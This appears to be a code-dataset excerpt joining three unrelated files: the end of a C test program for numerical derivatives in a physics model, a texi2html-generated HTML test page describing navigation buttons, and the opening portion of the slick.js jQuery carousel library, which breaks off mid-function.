sprintf ( nf , "dTphi2_%s_T", pref ); TD_T(dphi2_u_T, dTphi2_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dmu3_%s_mu", pref ); TD_mu (dmu2_u_mu,dmu3_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dmu2phi_%s_mu", pref ); TD_mu (dmuphi_u_mu,dmu2phi_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dmuphi2_%s_mu", pref ); TD_mu (dphi2_u_mu,dmuphi2_u_mu ,nf,"set xla\"mu\""); // }
sprintf ( nf , "dphi3_%s_phi", pref ); TD_phi(dphi2_u_phi,dphi3_u_phi,nf,"set xla\"phi\"");
/* double dphi2_u ( double phi ) */
/* { */
/* Var_set_Tmuphi( V, T_, mu_, phi ); */
/* double dphi_u( double phi ) */
/* { */
/* Var_set_Tmuphi( V, T_, mu_, phi); */
/* double u ( double phi ) */
/* { */
/* Var_set_Tmuphi( V, T_, mu_, phi); */
/* return upot_pow_phi_eq_phibar( U->P, U->T0, V ); */
/* } */
/* return deriv ( u, phi, 0.001 ) ; */
/* } */
/* return deriv( dphi_u, phi, 0.001 ) ; */
/* } */
/* sprintf( nf, "all-num__dphi3_%s_phi", pref ) ; TD_phi( dphi2_u, dphi3_u_phi,nf, "set xla\"phi\"" ); */
}
Var_free ( V );
}
| AlexandreBiguet/NJLlikeModels | legacy/programs/njl-1/Upot/test_der.c | C | gpl-3.0 | 22,920 |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<!-- Created by texi2html, http://www.gnu.org/software/texinfo/ -->
<head>
<title>top section: About This Document</title>
<meta name="description" content="top section: About This Document">
<meta name="keywords" content="top section: About This Document">
<meta name="resource-type" content="document">
<meta name="distribution" content="global">
<meta name="Generator" content="texi2html">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link href="index.html#Top" rel="start" title="top section">
<link href="section-node.html#SEC_Contents" rel="contents" title="Table of Contents">
<link href="#SEC_About" rel="help" title="About This Document">
<style type="text/css">
<!--
a.summary-letter {text-decoration: none}
blockquote.smallquotation {font-size: smaller}
div.display {margin-left: 3.2em}
div.example {margin-left: 3.2em}
div.lisp {margin-left: 3.2em}
div.smalldisplay {margin-left: 3.2em}
div.smallexample {margin-left: 3.2em}
div.smalllisp {margin-left: 3.2em}
pre.display {font-family: serif}
pre.format {font-family: serif}
pre.menu-comment {font-family: serif}
pre.menu-preformatted {font-family: serif}
pre.smalldisplay {font-family: serif; font-size: smaller}
pre.smallexample {font-size: smaller}
pre.smallformat {font-family: serif; font-size: smaller}
pre.smalllisp {font-size: smaller}
span.nocodebreak {white-space:pre}
span.nolinebreak {white-space:pre}
span.roman {font-family:serif; font-weight:normal}
span.sansserif {font-family:sans-serif; font-weight:normal}
ul.no-bullet {list-style: none}
-->
</style>
</head>
<body lang="en" bgcolor="#FFFFFF" text="#000000" link="#0000FF" vlink="#800080" alink="#FF0000">
<a name="SEC_About"></a>
<table class="header" cellpadding="1" cellspacing="1" border="0">
<tr><td valign="middle" align="left">node: </td>
<td valign="middle" align="left"></td>
<td valign="middle" align="left"></td>
<td valign="middle" align="left">,</td>
<td valign="middle" align="left"></td>
<td valign="middle" align="left">,</td>
<td valign="middle" align="left"></td>
<td valign="middle" align="left">[ > ]</td>
</tr></table>
<hr>
<h1>About This Document</h1>
<p>
This document was generated on <em>a sunny day</em> using <a href="http://www.gnu.org/software/texinfo/"><em>texi2html</em></a>.
</p>
<p>
The buttons in the navigation panels have the following meaning:
</p>
<table border="1">
<tr>
<th> Button </th>
<th> Name </th>
<th> Go to </th>
<th> From 1.2.3 go to</th>
</tr>
<tr>
<td align="center"> [ > ] </td>
<td align="center">NodeForward</td>
<td>Next node in node reading order</td>
<td>1.2.4</td>
</tr>
</table>
<p>
where the <strong> Example </strong> assumes that the current position is at <strong> Subsubsection One-Two-Three </strong> of a document of the following structure:
</p>
<ul>
<li> 1. Section One
<ul>
<li>1.1 Subsection One-One
<ul>
<li>...</li>
</ul>
</li>
<li>1.2 Subsection One-Two
<ul>
<li>1.2.1 Subsubsection One-Two-One</li>
<li>1.2.2 Subsubsection One-Two-Two</li>
<li>1.2.3 Subsubsection One-Two-Three
<strong><== Current Position </strong></li>
<li>1.2.4 Subsubsection One-Two-Four</li>
</ul>
</li>
<li>1.3 Subsection One-Three
<ul>
<li>...</li>
</ul>
</li>
<li>1.4 Subsection One-Four</li>
</ul>
</li>
</ul>
<hr>
<table class="header" cellpadding="1" cellspacing="1" border="0">
<tr><td valign="middle" align="left">node: </td>
<td valign="middle" align="left"></td>
<td valign="middle" align="left"></td>
<td valign="middle" align="left">,</td>
<td valign="middle" align="left"></td>
<td valign="middle" align="left">,</td>
<td valign="middle" align="left"></td>
<td valign="middle" align="left">[ > ]</td>
</tr></table>
<p>
<font size="-1">
This document was generated on <em>a sunny day</em> using <a href="http://www.gnu.org/software/texinfo/"><em>texi2html</em></a>.
</font>
<br>
</p>
</body>
</html>
| cgwalters/texinfo-git-mirror | texi2html/test/sectioning/res/more_nodes_than_sections/more_nodes_than_sections_abt.html | HTML | gpl-3.0 | 4,184 |
/*
_ _ _ _
___| (_) ___| | __ (_)___
/ __| | |/ __| |/ / | / __|
\__ \ | | (__| < _ | \__ \
|___/_|_|\___|_|\_(_)/ |___/
|__/
Version: 1.8.1
Author: Ken Wheeler
Website: http://kenwheeler.github.io
Docs: http://kenwheeler.github.io/slick
Repo: http://github.com/kenwheeler/slick
Issues: http://github.com/kenwheeler/slick/issues
*/
/* global window, document, define, jQuery, setInterval, clearInterval */
;(function(factory) {
'use strict';
if (typeof define === 'function' && define.amd) {
define(['jquery'], factory);
} else if (typeof exports !== 'undefined') {
module.exports = factory(require('jquery'));
} else {
factory(jQuery);
}
}(function($) {
'use strict';
var Slick = window.Slick || {};
Slick = (function() {
var instanceUid = 0;
function Slick(element, settings) {
var _ = this, dataSettings;
_.defaults = {
accessibility: true,
adaptiveHeight: false,
appendArrows: $(element),
appendDots: $(element),
arrows: true,
asNavFor: null,
prevArrow: '<button class="slick-prev" aria-label="Previous" type="button">Previous</button>',
nextArrow: '<button class="slick-next" aria-label="Next" type="button">Next</button>',
autoplay: false,
autoplaySpeed: 3000,
centerMode: false,
centerPadding: '50px',
cssEase: 'ease',
customPaging: function(slider, i) {
return $('<button type="button" />').text(i + 1);
},
dots: false,
dotsClass: 'slick-dots',
draggable: true,
easing: 'linear',
edgeFriction: 0.35,
fade: false,
focusOnSelect: false,
focusOnChange: false,
infinite: true,
initialSlide: 0,
lazyLoad: 'ondemand',
mobileFirst: false,
pauseOnHover: true,
pauseOnFocus: true,
pauseOnDotsHover: false,
respondTo: 'window',
responsive: null,
rows: 1,
rtl: false,
slide: '',
slidesPerRow: 1,
slidesToShow: 1,
slidesToScroll: 1,
speed: 500,
swipe: true,
swipeToSlide: false,
touchMove: true,
touchThreshold: 5,
useCSS: true,
useTransform: true,
variableWidth: false,
vertical: false,
verticalSwiping: false,
waitForAnimate: true,
zIndex: 1000
};
_.initials = {
animating: false,
dragging: false,
autoPlayTimer: null,
currentDirection: 0,
currentLeft: null,
currentSlide: 0,
direction: 1,
$dots: null,
listWidth: null,
listHeight: null,
loadIndex: 0,
$nextArrow: null,
$prevArrow: null,
scrolling: false,
slideCount: null,
slideWidth: null,
$slideTrack: null,
$slides: null,
sliding: false,
slideOffset: 0,
swipeLeft: null,
swiping: false,
$list: null,
touchObject: {},
transformsEnabled: false,
unslicked: false
};
$.extend(_, _.initials);
_.activeBreakpoint = null;
_.animType = null;
_.animProp = null;
_.breakpoints = [];
_.breakpointSettings = [];
_.cssTransitions = false;
_.focussed = false;
_.interrupted = false;
_.hidden = 'hidden';
_.paused = true;
_.positionProp = null;
_.respondTo = null;
_.rowCount = 1;
_.shouldClick = true;
_.$slider = $(element);
_.$slidesCache = null;
_.transformType = null;
_.transitionType = null;
_.visibilityChange = 'visibilitychange';
_.windowWidth = 0;
_.windowTimer = null;
dataSettings = $(element).data('slick') || {};
_.options = $.extend({}, _.defaults, settings, dataSettings);
_.currentSlide = _.options.initialSlide;
_.originalSettings = _.options;
if (typeof document.mozHidden !== 'undefined') {
_.hidden = 'mozHidden';
_.visibilityChange = 'mozvisibilitychange';
} else if (typeof document.webkitHidden !== 'undefined') {
_.hidden = 'webkitHidden';
_.visibilityChange = 'webkitvisibilitychange';
}
_.autoPlay = $.proxy(_.autoPlay, _);
_.autoPlayClear = $.proxy(_.autoPlayClear, _);
_.autoPlayIterator = $.proxy(_.autoPlayIterator, _);
_.changeSlide = $.proxy(_.changeSlide, _);
_.clickHandler = $.proxy(_.clickHandler, _);
_.selectHandler = $.proxy(_.selectHandler, _);
_.setPosition = $.proxy(_.setPosition, _);
_.swipeHandler = $.proxy(_.swipeHandler, _);
_.dragHandler = $.proxy(_.dragHandler, _);
_.keyHandler = $.proxy(_.keyHandler, _);
_.instanceUid = instanceUid++;
// A simple way to check for HTML strings
// Strict HTML recognition (must start with <)
// Extracted from jQuery v1.11 source
_.htmlExpr = /^(?:\s*(<[\w\W]+>)[^>]*)$/;
_.registerBreakpoints();
_.init(true);
}
return Slick;
}());
Slick.prototype.activateADA = function() {
var _ = this;
_.$slideTrack.find('.slick-active').attr({
'aria-hidden': 'false'
}).find('a, input, button, select').attr({
'tabindex': '0'
});
};
Slick.prototype.addSlide = Slick.prototype.slickAdd = function(markup, index, addBefore) {
var _ = this;
if (typeof(index) === 'boolean') {
addBefore = index;
index = null;
} else if (index < 0 || (index >= _.slideCount)) {
return false;
}
_.unload();
if (typeof(index) === 'number') {
if (index === 0 && _.$slides.length === 0) {
$(markup).appendTo(_.$slideTrack);
} else if (addBefore) {
$(markup).insertBefore(_.$slides.eq(index));
} else {
$(markup).insertAfter(_.$slides.eq(index));
}
} else {
if (addBefore === true) {
$(markup).prependTo(_.$slideTrack);
} else {
$(markup).appendTo(_.$slideTrack);
}
}
_.$slides = _.$slideTrack.children(this.options.slide);
_.$slideTrack.children(this.options.slide).detach();
_.$slideTrack.append(_.$slides);
_.$slides.each(function(index, element) {
$(element).attr('data-slick-index', index);
});
_.$slidesCache = _.$slides;
_.reinit();
};
Slick.prototype.animateHeight = function() {
var _ = this;
if (_.options.slidesToShow === 1 && _.options.adaptiveHeight === true && _.options.vertical === false) {
var targetHeight = _.$slides.eq(_.currentSlide).outerHeight(true);
_.$list.animate({
height: targetHeight
}, _.options.speed);
}
};
Slick.prototype.animateSlide = function(targetLeft, callback) {
var animProps = {},
_ = this;
_.animateHeight();
if (_.options.rtl === true && _.options.vertical === false) {
targetLeft = -targetLeft;
}
if (_.transformsEnabled === false) {
if (_.options.vertical === false) {
_.$slideTrack.animate({
left: targetLeft
}, _.options.speed, _.options.easing, callback);
} else {
_.$slideTrack.animate({
top: targetLeft
}, _.options.speed, _.options.easing, callback);
}
} else {
if (_.cssTransitions === false) {
if (_.options.rtl === true) {
_.currentLeft = -(_.currentLeft);
}
$({
animStart: _.currentLeft
}).animate({
animStart: targetLeft
}, {
duration: _.options.speed,
easing: _.options.easing,
step: function(now) {
now = Math.ceil(now);
if (_.options.vertical === false) {
animProps[_.animType] = 'translate(' +
now + 'px, 0px)';
_.$slideTrack.css(animProps);
} else {
animProps[_.animType] = 'translate(0px,' +
now + 'px)';
_.$slideTrack.css(animProps);
}
},
complete: function() {
if (callback) {
callback.call();
}
}
});
} else {
_.applyTransition();
targetLeft = Math.ceil(targetLeft);
if (_.options.vertical === false) {
animProps[_.animType] = 'translate3d(' + targetLeft + 'px, 0px, 0px)';
} else {
animProps[_.animType] = 'translate3d(0px,' + targetLeft + 'px, 0px)';
}
_.$slideTrack.css(animProps);
if (callback) {
setTimeout(function() {
_.disableTransition();
callback.call();
}, _.options.speed);
}
}
}
};
Slick.prototype.getNavTarget = function() {
var _ = this,
asNavFor = _.options.asNavFor;
if ( asNavFor && asNavFor !== null ) {
asNavFor = $(asNavFor).not(_.$slider);
}
return asNavFor;
};
Slick.prototype.asNavFor = function(index) {
var _ = this,
asNavFor = _.getNavTarget();
if ( asNavFor !== null && typeof asNavFor === 'object' ) {
asNavFor.each(function() {
var target = $(this).slick('getSlick');
if(!target.unslicked) {
target.slideHandler(index, true);
}
});
}
};
Slick.prototype.applyTransition = function(slide) {
var _ = this,
transition = {};
if (_.options.fade === false) {
transition[_.transitionType] = _.transformType + ' ' + _.options.speed + 'ms ' + _.options.cssEase;
} else {
transition[_.transitionType] = 'opacity ' + _.options.speed + 'ms ' + _.options.cssEase;
}
if (_.options.fade === false) {
_.$slideTrack.css(transition);
} else {
_.$slides.eq(slide).css(transition);
}
};
Slick.prototype.autoPlay = function() {
var _ = this;
_.autoPlayClear();
if ( _.slideCount > _.options.slidesToShow ) {
_.autoPlayTimer = setInterval( _.autoPlayIterator, _.options.autoplaySpeed );
}
};
Slick.prototype.autoPlayClear = function() {
var _ = this;
if (_.autoPlayTimer) {
clearInterval(_.autoPlayTimer);
}
};
Slick.prototype.autoPlayIterator = function() {
var _ = this,
slideTo = _.currentSlide + _.options.slidesToScroll;
if ( !_.paused && !_.interrupted && !_.focussed ) {
if ( _.options.infinite === false ) {
if ( _.direction === 1 && ( _.currentSlide + 1 ) === ( _.slideCount - 1 )) {
_.direction = 0;
}
else if ( _.direction === 0 ) {
slideTo = _.currentSlide - _.options.slidesToScroll;
if ( _.currentSlide - 1 === 0 ) {
_.direction = 1;
}
}
}
_.slideHandler( slideTo );
}
};
Slick.prototype.buildArrows = function() {
var _ = this;
if (_.options.arrows === true ) {
_.$prevArrow = $(_.options.prevArrow).addClass('slick-arrow');
_.$nextArrow = $(_.options.nextArrow).addClass('slick-arrow');
if( _.slideCount > _.options.slidesToShow ) {
_.$prevArrow.removeClass('slick-hidden').removeAttr('aria-hidden tabindex');
_.$nextArrow.removeClass('slick-hidden').removeAttr('aria-hidden tabindex');
if (_.htmlExpr.test(_.options.prevArrow)) {
_.$prevArrow.prependTo(_.options.appendArrows);
}
if (_.htmlExpr.test(_.options.nextArrow)) {
_.$nextArrow.appendTo(_.options.appendArrows);
}
if (_.options.infinite !== true) {
_.$prevArrow
.addClass('slick-disabled')
.attr('aria-disabled', 'true');
}
} else {
_.$prevArrow.add( _.$nextArrow )
.addClass('slick-hidden')
.attr({
'aria-disabled': 'true',
'tabindex': '-1'
});
}
}
};
Slick.prototype.buildDots = function() {
var _ = this,
i, dot;
if (_.options.dots === true && _.slideCount > _.options.slidesToShow) {
_.$slider.addClass('slick-dotted');
dot = $('<ul />').addClass(_.options.dotsClass);
for (i = 0; i <= _.getDotCount(); i += 1) {
dot.append($('<li />').append(_.options.customPaging.call(this, _, i)));
}
_.$dots = dot.appendTo(_.options.appendDots);
_.$dots.find('li').first().addClass('slick-active');
}
};
Slick.prototype.buildOut = function() {
var _ = this;
_.$slides =
_.$slider
.children( _.options.slide + ':not(.slick-cloned)')
.addClass('slick-slide');
_.slideCount = _.$slides.length;
_.$slides.each(function(index, element) {
$(element)
.attr('data-slick-index', index)
.data('originalStyling', $(element).attr('style') || '');
});
_.$slider.addClass('slick-slider');
_.$slideTrack = (_.slideCount === 0) ?
$('<div class="slick-track"/>').appendTo(_.$slider) :
_.$slides.wrapAll('<div class="slick-track"/>').parent();
_.$list = _.$slideTrack.wrap(
'<div class="slick-list"/>').parent();
_.$slideTrack.css('opacity', 0);
if (_.options.centerMode === true || _.options.swipeToSlide === true) {
_.options.slidesToScroll = 1;
}
$('img[data-lazy]', _.$slider).not('[src]').addClass('slick-loading');
_.setupInfinite();
_.buildArrows();
_.buildDots();
_.updateDots();
_.setSlideClasses(typeof _.currentSlide === 'number' ? _.currentSlide : 0);
if (_.options.draggable === true) {
_.$list.addClass('draggable');
}
};
Slick.prototype.buildRows = function() {
var _ = this, a, b, c, newSlides, numOfSlides, originalSlides,slidesPerSection;
newSlides = document.createDocumentFragment();
originalSlides = _.$slider.children();
if(_.options.rows > 0) {
slidesPerSection = _.options.slidesPerRow * _.options.rows;
numOfSlides = Math.ceil(
originalSlides.length / slidesPerSection
);
for(a = 0; a < numOfSlides; a++){
var slide = document.createElement('div');
for(b = 0; b < _.options.rows; b++) {
var row = document.createElement('div');
for(c = 0; c < _.options.slidesPerRow; c++) {
var target = (a * slidesPerSection + ((b * _.options.slidesPerRow) + c));
if (originalSlides.get(target)) {
row.appendChild(originalSlides.get(target));
}
}
slide.appendChild(row);
}
newSlides.appendChild(slide);
}
_.$slider.empty().append(newSlides);
_.$slider.children().children().children()
.css({
'width':(100 / _.options.slidesPerRow) + '%',
'display': 'inline-block'
});
}
};
Slick.prototype.checkResponsive = function(initial, forceUpdate) {
var _ = this,
breakpoint, targetBreakpoint, respondToWidth, triggerBreakpoint = false;
var sliderWidth = _.$slider.width();
var windowWidth = window.innerWidth || $(window).width();
if (_.respondTo === 'window') {
respondToWidth = windowWidth;
} else if (_.respondTo === 'slider') {
respondToWidth = sliderWidth;
} else if (_.respondTo === 'min') {
respondToWidth = Math.min(windowWidth, sliderWidth);
}
if ( _.options.responsive &&
_.options.responsive.length &&
_.options.responsive !== null) {
targetBreakpoint = null;
for (breakpoint in _.breakpoints) {
if (_.breakpoints.hasOwnProperty(breakpoint)) {
if (_.originalSettings.mobileFirst === false) {
if (respondToWidth < _.breakpoints[breakpoint]) {
targetBreakpoint = _.breakpoints[breakpoint];
}
} else {
if (respondToWidth > _.breakpoints[breakpoint]) {
targetBreakpoint = _.breakpoints[breakpoint];
}
}
}
}
if (targetBreakpoint !== null) {
if (_.activeBreakpoint !== null) {
if (targetBreakpoint !== _.activeBreakpoint || forceUpdate) {
_.activeBreakpoint =
targetBreakpoint;
if (_.breakpointSettings[targetBreakpoint] === 'unslick') {
_.unslick(targetBreakpoint);
} else {
_.options = $.extend({}, _.originalSettings,
_.breakpointSettings[
targetBreakpoint]);
if (initial === true) {
_.currentSlide = _.options.initialSlide;
}
_.refresh(initial);
}
triggerBreakpoint = targetBreakpoint;
}
} else {
_.activeBreakpoint = targetBreakpoint;
if (_.breakpointSettings[targetBreakpoint] === 'unslick') {
_.unslick(targetBreakpoint);
} else {
_.options = $.extend({}, _.originalSettings,
_.breakpointSettings[
targetBreakpoint]);
if (initial === true) {
_.currentSlide = _.options.initialSlide;
}
_.refresh(initial);
}
triggerBreakpoint = targetBreakpoint;
}
} else {
if (_.activeBreakpoint !== null) {
_.activeBreakpoint = null;
_.options = _.originalSettings;
if (initial === true) {
_.currentSlide = _.options.initialSlide;
}
_.refresh(initial);
triggerBreakpoint = targetBreakpoint;
}
}
// only trigger breakpoints during an actual break. not on initialize.
if( !initial && triggerBreakpoint !== false ) {
_.$slider.trigger('breakpoint', [_, triggerBreakpoint]);
}
}
};
Slick.prototype.changeSlide = function(event, dontAnimate) {
var _ = this,
$target = $(event.currentTarget),
indexOffset, slideOffset, unevenOffset;
// If target is a link, prevent default action.
if($target.is('a')) {
event.preventDefault();
}
// If target is not the <li> element (ie: a child), find the <li>.
if(!$target.is('li')) {
$target = $target.closest('li');
}
unevenOffset = (_.slideCount % _.options.slidesToScroll !== 0);
indexOffset = unevenOffset ? 0 : (_.slideCount - _.currentSlide) % _.options.slidesToScroll;
switch (event.data.message) {
case 'previous':
slideOffset = indexOffset === 0 ? _.options.slidesToScroll : _.options.slidesToShow - indexOffset;
if (_.slideCount > _.options.slidesToShow) {
_.slideHandler(_.currentSlide - slideOffset, false, dontAnimate);
}
break;
case 'next':
slideOffset = indexOffset === 0 ? _.options.slidesToScroll : indexOffset;
if (_.slideCount > _.options.slidesToShow) {
_.slideHandler(_.currentSlide + slideOffset, false, dontAnimate);
}
break;
case 'index':
var index = event.data.index === 0 ? 0 :
event.data.index || $target.index() * _.options.slidesToScroll;
_.slideHandler(_.checkNavigable(index), false, dontAnimate);
$target.children().trigger('focus');
break;
default:
return;
}
};
Slick.prototype.checkNavigable = function(index) {
var _ = this,
navigables, prevNavigable;
navigables = _.getNavigableIndexes();
prevNavigable = 0;
if (index > navigables[navigables.length - 1]) {
index = navigables[navigables.length - 1];
} else {
for (var n in navigables) {
if (index < navigables[n]) {
index = prevNavigable;
break;
}
prevNavigable = navigables[n];
}
}
return index;
};
Slick.prototype.cleanUpEvents = function() {
var _ = this;
if (_.options.dots && _.$dots !== null) {
$('li', _.$dots)
.off('click.slick', _.changeSlide)
.off('mouseenter.slick', $.proxy(_.interrupt, _, true))
.off('mouseleave.slick', $.proxy(_.interrupt, _, false));
if (_.options.accessibility === true) {
_.$dots.off('keydown.slick', _.keyHandler);
}
}
_.$slider.off('focus.slick blur.slick');
if (_.options.arrows === true && _.slideCount > _.options.slidesToShow) {
_.$prevArrow && _.$prevArrow.off('click.slick', _.changeSlide);
_.$nextArrow && _.$nextArrow.off('click.slick', _.changeSlide);
if (_.options.accessibility === true) {
_.$prevArrow && _.$prevArrow.off('keydown.slick', _.keyHandler);
_.$nextArrow && _.$nextArrow.off('keydown.slick', _.keyHandler);
}
}
_.$list.off('touchstart.slick mousedown.slick', _.swipeHandler);
_.$list.off('touchmove.slick mousemove.slick', _.swipeHandler);
_.$list.off('touchend.slick mouseup.slick', _.swipeHandler);
_.$list.off('touchcancel.slick mouseleave.slick', _.swipeHandler);
_.$list.off('click.slick', _.clickHandler);
$(document).off(_.visibilityChange, _.visibility);
_.cleanUpSlideEvents();
if (_.options.accessibility === true) {
_.$list.off('keydown.slick', _.keyHandler);
}
if (_.options.focusOnSelect === true) {
$(_.$slideTrack).children().off('click.slick', _.selectHandler);
}
$(window).off('orientationchange.slick.slick-' + _.instanceUid, _.orientationChange);
$(window).off('resize.slick.slick-' + _.instanceUid, _.resize);
$('[draggable!=true]', _.$slideTrack).off('dragstart', _.preventDefault);
$(window).off('load.slick.slick-' + _.instanceUid, _.setPosition);
};
Slick.prototype.cleanUpSlideEvents = function() {
var _ = this;
_.$list.off('mouseenter.slick', $.proxy(_.interrupt, _, true));
_.$list.off('mouseleave.slick', $.proxy(_.interrupt, _, false));
};
Slick.prototype.cleanUpRows = function() {
var _ = this, originalSlides;
if(_.options.rows > 0) {
originalSlides = _.$slides.children().children();
originalSlides.removeAttr('style');
_.$slider.empty().append(originalSlides);
}
};
Slick.prototype.clickHandler = function(event) {
var _ = this;
if (_.shouldClick === false) {
event.stopImmediatePropagation();
event.stopPropagation();
event.preventDefault();
}
};
Slick.prototype.destroy = function(refresh) {
var _ = this;
_.autoPlayClear();
_.touchObject = {};
_.cleanUpEvents();
$('.slick-cloned', _.$slider).detach();
if (_.$dots) {
_.$dots.remove();
}
if ( _.$prevArrow && _.$prevArrow.length ) {
_.$prevArrow
.removeClass('slick-disabled slick-arrow slick-hidden')
.removeAttr('aria-hidden aria-disabled tabindex')
.css('display','');
if ( _.htmlExpr.test( _.options.prevArrow )) {
_.$prevArrow.remove();
}
}
if ( _.$nextArrow && _.$nextArrow.length ) {
_.$nextArrow
.removeClass('slick-disabled slick-arrow slick-hidden')
.removeAttr('aria-hidden aria-disabled tabindex')
.css('display','');
if ( _.htmlExpr.test( _.options.nextArrow )) {
_.$nextArrow.remove();
}
}
if (_.$slides) {
_.$slides
.removeClass('slick-slide slick-active slick-center slick-visible slick-current')
.removeAttr('aria-hidden')
.removeAttr('data-slick-index')
.each(function(){
$(this).attr('style', $(this).data('originalStyling'));
});
_.$slideTrack.children(this.options.slide).detach();
_.$slideTrack.detach();
_.$list.detach();
_.$slider.append(_.$slides);
}
_.cleanUpRows();
_.$slider.removeClass('slick-slider');
_.$slider.removeClass('slick-initialized');
_.$slider.removeClass('slick-dotted');
_.unslicked = true;
if(!refresh) {
_.$slider.trigger('destroy', [_]);
}
};
Slick.prototype.disableTransition = function(slide) {
var _ = this,
transition = {};
transition[_.transitionType] = '';
if (_.options.fade === false) {
_.$slideTrack.css(transition);
} else {
_.$slides.eq(slide).css(transition);
}
};
Slick.prototype.fadeSlide = function(slideIndex, callback) {
var _ = this;
if (_.cssTransitions === false) {
_.$slides.eq(slideIndex).css({
zIndex: _.options.zIndex
});
_.$slides.eq(slideIndex).animate({
opacity: 1
}, _.options.speed, _.options.easing, callback);
} else {
_.applyTransition(slideIndex);
_.$slides.eq(slideIndex).css({
opacity: 1,
zIndex: _.options.zIndex
});
if (callback) {
setTimeout(function() {
_.disableTransition(slideIndex);
callback.call();
}, _.options.speed);
}
}
};
Slick.prototype.fadeSlideOut = function(slideIndex) {
var _ = this;
if (_.cssTransitions === false) {
_.$slides.eq(slideIndex).animate({
opacity: 0,
zIndex: _.options.zIndex - 2
}, _.options.speed, _.options.easing);
} else {
_.applyTransition(slideIndex);
_.$slides.eq(slideIndex).css({
opacity: 0,
zIndex: _.options.zIndex - 2
});
}
};
Slick.prototype.filterSlides = Slick.prototype.slickFilter = function(filter) {
var _ = this;
if (filter !== null) {
_.$slidesCache = _.$slides;
_.unload();
_.$slideTrack.children(this.options.slide).detach();
_.$slidesCache.filter(filter).appendTo(_.$slideTrack);
_.reinit();
}
};
Slick.prototype.focusHandler = function() {
var _ = this;
_.$slider
.off('focus.slick blur.slick')
.on('focus.slick blur.slick', '*', function(event) {
event.stopImmediatePropagation();
var $sf = $(this);
setTimeout(function() {
if( _.options.pauseOnFocus ) {
_.focussed = $sf.is(':focus');
_.autoPlay();
}
}, 0);
});
};
Slick.prototype.getCurrent = Slick.prototype.slickCurrentSlide = function() {
var _ = this;
return _.currentSlide;
};
Slick.prototype.getDotCount = function() {
var _ = this;
var breakPoint = 0;
var counter = 0;
var pagerQty = 0;
if (_.options.infinite === true) {
if (_.slideCount <= _.options.slidesToShow) {
++pagerQty;
} else {
while (breakPoint < _.slideCount) {
++pagerQty;
breakPoint = counter + _.options.slidesToScroll;
counter += _.options.slidesToScroll <= _.options.slidesToShow ? _.options.slidesToScroll : _.options.slidesToShow;
}
}
} else if (_.options.centerMode === true) {
pagerQty = _.slideCount;
} else if(!_.options.asNavFor) {
pagerQty = 1 + Math.ceil((_.slideCount - _.options.slidesToShow) / _.options.slidesToScroll);
}else {
while (breakPoint < _.slideCount) {
++pagerQty;
breakPoint = counter + _.options.slidesToScroll;
counter += _.options.slidesToScroll <= _.options.slidesToShow ? _.options.slidesToScroll : _.options.slidesToShow;
}
}
return pagerQty - 1;
};
Slick.prototype.getLeft = function(slideIndex) {
var _ = this,
targetLeft,
verticalHeight,
verticalOffset = 0,
targetSlide,
coef;
_.slideOffset = 0;
verticalHeight = _.$slides.first().outerHeight(true);
if (_.options.infinite === true) {
if (_.slideCount > _.options.slidesToShow) {
_.slideOffset = (_.slideWidth * _.options.slidesToShow) * -1;
coef = -1
if (_.options.vertical === true && _.options.centerMode === true) {
if (_.options.slidesToShow === 2) {
coef = -1.5;
} else if (_.options.slidesToShow === 1) {
coef = -2
}
}
verticalOffset = (verticalHeight * _.options.slidesToShow) * coef;
}
if (_.slideCount % _.options.slidesToScroll !== 0) {
if (slideIndex + _.options.slidesToScroll > _.slideCount && _.slideCount > _.options.slidesToShow) {
if (slideIndex > _.slideCount) {
_.slideOffset = ((_.options.slidesToShow - (slideIndex - _.slideCount)) * _.slideWidth) * -1;
verticalOffset = ((_.options.slidesToShow - (slideIndex - _.slideCount)) * verticalHeight) * -1;
} else {
_.slideOffset = ((_.slideCount % _.options.slidesToScroll) * _.slideWidth) * -1;
verticalOffset = ((_.slideCount % _.options.slidesToScroll) * verticalHeight) * -1;
}
}
}
} else {
if (slideIndex + _.options.slidesToShow > _.slideCount) {
_.slideOffset = ((slideIndex + _.options.slidesToShow) - _.slideCount) * _.slideWidth;
verticalOffset = ((slideIndex + _.options.slidesToShow) - _.slideCount) * verticalHeight;
}
}
if (_.slideCount <= _.options.slidesToShow) {
_.slideOffset = 0;
verticalOffset = 0;
}
if (_.options.centerMode === true && _.slideCount <= _.options.slidesToShow) {
_.slideOffset = ((_.slideWidth * Math.floor(_.options.slidesToShow)) / 2) - ((_.slideWidth * _.slideCount) / 2);
} else if (_.options.centerMode === true && _.options.infinite === true) {
_.slideOffset += _.slideWidth * Math.floor(_.options.slidesToShow / 2) - _.slideWidth;
} else if (_.options.centerMode === true) {
_.slideOffset = 0;
_.slideOffset += _.slideWidth * Math.floor(_.options.slidesToShow / 2);
}
if (_.options.vertical === false) {
targetLeft = ((slideIndex * _.slideWidth) * -1) + _.slideOffset;
} else {
targetLeft = ((slideIndex * verticalHeight) * -1) + verticalOffset;
}
if (_.options.variableWidth === true) {
if (_.slideCount <= _.options.slidesToShow || _.options.infinite === false) {
targetSlide = _.$slideTrack.children('.slick-slide').eq(slideIndex);
} else {
targetSlide = _.$slideTrack.children('.slick-slide').eq(slideIndex + _.options.slidesToShow);
}
if (_.options.rtl === true) {
if (targetSlide[0]) {
targetLeft = (_.$slideTrack.width() - targetSlide[0].offsetLeft - targetSlide.width()) * -1;
} else {
targetLeft = 0;
}
} else {
targetLeft = targetSlide[0] ? targetSlide[0].offsetLeft * -1 : 0;
}
if (_.options.centerMode === true) {
if (_.slideCount <= _.options.slidesToShow || _.options.infinite === false) {
targetSlide = _.$slideTrack.children('.slick-slide').eq(slideIndex);
} else {
targetSlide = _.$slideTrack.children('.slick-slide').eq(slideIndex + _.options.slidesToShow + 1);
}
if (_.options.rtl === true) {
if (targetSlide[0]) {
targetLeft = (_.$slideTrack.width() - targetSlide[0].offsetLeft - targetSlide.width()) * -1;
} else {
targetLeft = 0;
}
} else {
targetLeft = targetSlide[0] ? targetSlide[0].offsetLeft * -1 : 0;
}
targetLeft += (_.$list.width() - targetSlide.outerWidth()) / 2;
}
}
return targetLeft;
};
Slick.prototype.getOption = Slick.prototype.slickGetOption = function(option) {
var _ = this;
return _.options[option];
};
Slick.prototype.getNavigableIndexes = function() {
var _ = this,
breakPoint = 0,
counter = 0,
indexes = [],
max;
